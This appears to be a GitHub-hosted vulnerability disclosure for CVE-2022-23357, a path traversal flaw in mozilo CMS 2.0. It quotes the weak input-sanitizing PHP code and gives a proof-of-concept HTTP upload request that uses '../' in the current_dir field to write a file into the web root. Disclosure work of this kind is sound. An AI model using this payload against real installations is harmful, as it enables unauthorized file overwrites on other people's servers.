


 main ▼

...

[CVE](#) / CVE-2022-23357.pdf

 [truonghuuphuc](#) Add files via upload History

👤 1 contributor

637 KB ...

**VULNERABLE Path Traversal exists in mozilo2.0 . An attacker can inject dot dot to escape root directory via curent\_dir parameters.**

**Date:** 8/1/2022

**Exploit Author:** Trương Hữu Phúc

**Contact me:**

+ **Github:** <https://github.com/truonghuuphuc>

+ **Facebook:** <https://www.facebook.com/DdosFulzac.auz1/>

+ **Email:** phuctruong2k@gmail.com

**Product:** Mozilo

**Version:** v2.0

**Description:** Because sanitizer of input data allow inject ../ in param current\_dir lead to path traversal attack

**Impact:** An attacker can overwrite file current.

**Suggestions:** User input should be filter and removed ../

**File affect:**

+ /admin/jquery/File-Upload/upload.class.php

+ / cms/DefaultFunc.php

+ /cms/SpecialChars.php

+ **Proof of concept (POC):**

+ Upload.class.php

A screenshot of a web browser displaying a GitHub repository page. The address bar shows the URL: https://github.com/moziloDasEinsteigerCMS/mozilo2.0/blob/206778d0adda39905b149c9eb26b521e1c822b36/admin/jquery/File-Upload/upload.class.php#L25L27. The browser's tab bar shows several open tabs, including 'freeCourseSite - D...', 'pentest web', 'Download Free Onli...', 'Lập Trình Không Dì...', 'Programming and...', '- Quản trị', 'efbotarg', 'FT9 CÔNG ĐỒNG F...', 'CHIA SẺ KHÓA HQ...', 'IT & Software Archi...', 'hva', 'talieu', and 'Ch'. The main content area displays PHP code from the file 'upload.class.php'. The code includes comments in Vietnamese and several PHP statements. Lines 20-22 define and assign a global variable for allowed image arrays. Line 23 is a comment about file contents. Line 25 assigns the 'current\_dir' value from a request. Lines 26-27 define and use a global variable for special characters to sanitize the directory path.

```
20     global $ALLOWED_IMG_ARRAY;
21     $this->allowed_img_array = $ALLOWED_IMG_ARRAY;
22
23     #file_put_contents(BASE_DIR."out_UploadHandler.txt","request=".$._REQUEST['current_dir']."\n",FILE_APPEND);
24
25     $current_dir = getRequestValue('current_dir',false,false);
26     global $specialchars;
27     $current_dir_url = $specialchars->replaceSpecialChars($current_dir,true);
```

## + DefaultFunc.php

```
https://github.com/moziloDasEinsteigerCMS/mozilo2.0/blob/master/cms/DefaultFunc.php#L88L112
CourseSite - D... pentest web Download Free Onli... Lập Trình Không Kh... Programming and... - Quản trị effbot.org F19_CỘNG ĐỒNG F...

function cleanValue($value) {
    if(is_array($value)) {
        foreach($value as $key => $val) {
            $value[$key] = cleanValue($val);
        }
    } elseif(is_bool($value)) {
        return $value;
    } else {
        // Nullbytes abfangen!
        if (strpos("tmp".$value, "\x00") > 0) {
            die();
        }
        $value = rawurldecode($value);
        $value = stripslashes($value);
        $value = str_replace(array("\r\n", "\r", "\n"), "-tmpbr_", $value);
        $value = trim($value, "\x00..\x19");
        if(basename($value) != $value) {
            $value = str_replace(basename($value), trim(basename($value), "\x00..\x19"), $value);
        }
        $value = strip_tags($value);
        $value = str_replace("-tmpbr_", "\n", $value);
        $value = mo_rawurlencode($value);
    }
    return $value;
}
```

## + SpecialChars.php

```
https://github.com/moziloDasEinsteigerCMS/mozilo2.0/blob/master/cms/SpecialChars.php#L53L62
Apps FreeCourseSite - D... pentest web Download Free Onli... Lập Trình Không Kh... Programming and... - Quản trị

53 function replaceSpecialChars($text,$nochmal_erlauben) {
54     # $nochmal_erlauben = für Tags mit src z.B. img dann muss das %
55     $text = str_replace('/', 'ssslashhh', $text);
56     if(preg_match('#%([0-9a-f]{2})#i', $text) < 1)
57         $text = mo_rawurlencode(stripslashes($text));
58     if($nochmal_erlauben)
59         $text = mo_rawurlencode(stripslashes($text));
60     $text = str_replace('ssslashhh', '/', $text);
61     return $text;
62 }
```

```
1 POST /mosilo2.0-master/admin/index.php HTTP/1.1
2 Host: 192.168.1.8:8080
3 Content-Length: 4365
4 Accept: text/html, */*; q=0.01
5 X-Requested-With: XMLHttpRequest
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
7 Content-Type: multipart/form-data;
8 boundary=----WebKitFormBoundaryEKDHqSL7TStc1xkB
9 Referrer: http://192.168.1.8:8080/mosilo2.0-master/admin/index.php?nojs=true&action=g
10 alleryimulti=true
11 Accept-Encoding: gzip, deflate
12 Accept-Language: vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.5,en;q=0.5
13 Cookie: mosilo_editor_settings=true,false,mosilo,1lpx; elephant_user=
14 7b9du7g19e4r0gKiu168hmrid; elephant_update_checked=1; elephant_last_page=
15 12Fuser; googtrans=/en/vi; GeniXCMS-Installation=751eumtactva38hj10brc35dh
16 ; GeniXCMS-vsHIVZM3yqgKCN1DCTqr-dk580v3b8e3cq0lmcqhb2b88a29; PHPSESSID=
17 qpk3ju8iq2qlv1ldfpncv5v5j; MOZILOID_0f7d8b3c07e8548ba2eaca0bc6d0e1aa=
18 C4u122623l8s8k8hs1kncmjqp
19 Connection: close
20
21 -----WebKitFormBoundaryEKDHqSL7TStc1xkB
22 Content-Disposition: form-data; name="current_dir"
23
24 mosiloCMS/../../
25 -----WebKitFormBoundaryEKDHqSL7TStc1xkB
26 Content-Disposition: form-data; name="chancefiles"
27
28 true
29 -----WebKitFormBoundaryEKDHqSL7TStc1xkB
30 Content-Disposition: form-data; name="action"
31
32 gallery
33 -----WebKitFormBoundaryEKDHqSL7TStc1xkB
34 Content-Disposition: form-data; name="new_width"
35
36
37 -----WebKitFormBoundaryEKDHqSL7TStc1xkB
38 Content-Disposition: form-data; name="new_height"
39
40
41 -----WebKitFormBoundaryEKDHqSL7TStc1xkB
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
```

File x.png was created in web root directory via path traversal

This PC > Local Disk (C:) > xampp > htdocs > mosilo2.0-master					Search mosilo2.0-master	
	Name	Date modified	Type	Size		
ss	admin	1/9/2022 12:13 AM	File folder			
	cms	1/9/2022 12:13 AM	File folder			
ds	docu	1/6/2022 4:20 PM	File folder			
its	galerien	1/6/2022 4:20 PM	File folder			
	kategorien	1/9/2022 12:13 AM	File folder			
.	layouts	1/6/2022 4:20 PM	File folder			
ss 2	plugins	1/6/2022 4:20 PM	File folder			
MS 2.0 Path tra	tmp	1/9/2022 12:12 AM	File folder			
	.gitignore	1/6/2022 4:20 PM	GITIGNORE File	5 KB		
	.htaccess	1/9/2022 12:13 AM	HTACCESS File	1 KB		
Personal	gpl.txt	1/6/2022 4:20 PM	Text Document	18 KB		
	index.php	1/6/2022 4:20 PM	PHP File	19 KB		
ts	install.php	1/6/2022 4:20 PM	PHP File	42 KB		
	lgpl.txt	1/6/2022 4:20 PM	Text Document	8 KB		
	liesmich.txt	1/6/2022 4:20 PM	Text Document	1 KB		
its	README.md	1/6/2022 4:20 PM	MD File	3 KB		
ds	readme.txt	1/6/2022 4:20 PM	Text Document	1 KB		
	robots.txt	1/9/2022 12:13 AM	Text Document	1 KB		
	sitemap.xml	1/9/2022 12:13 AM	XML Document	1 KB		
	sitemap_addon.xml	1/6/2022 4:20 PM	XML Document	1 KB		
c (C:)	update.php	1/6/2022 4:20 PM	PHP File	28 KB		
c (E:)	x.png	1/9/2022 12:28 AM	PNG File	4 KB		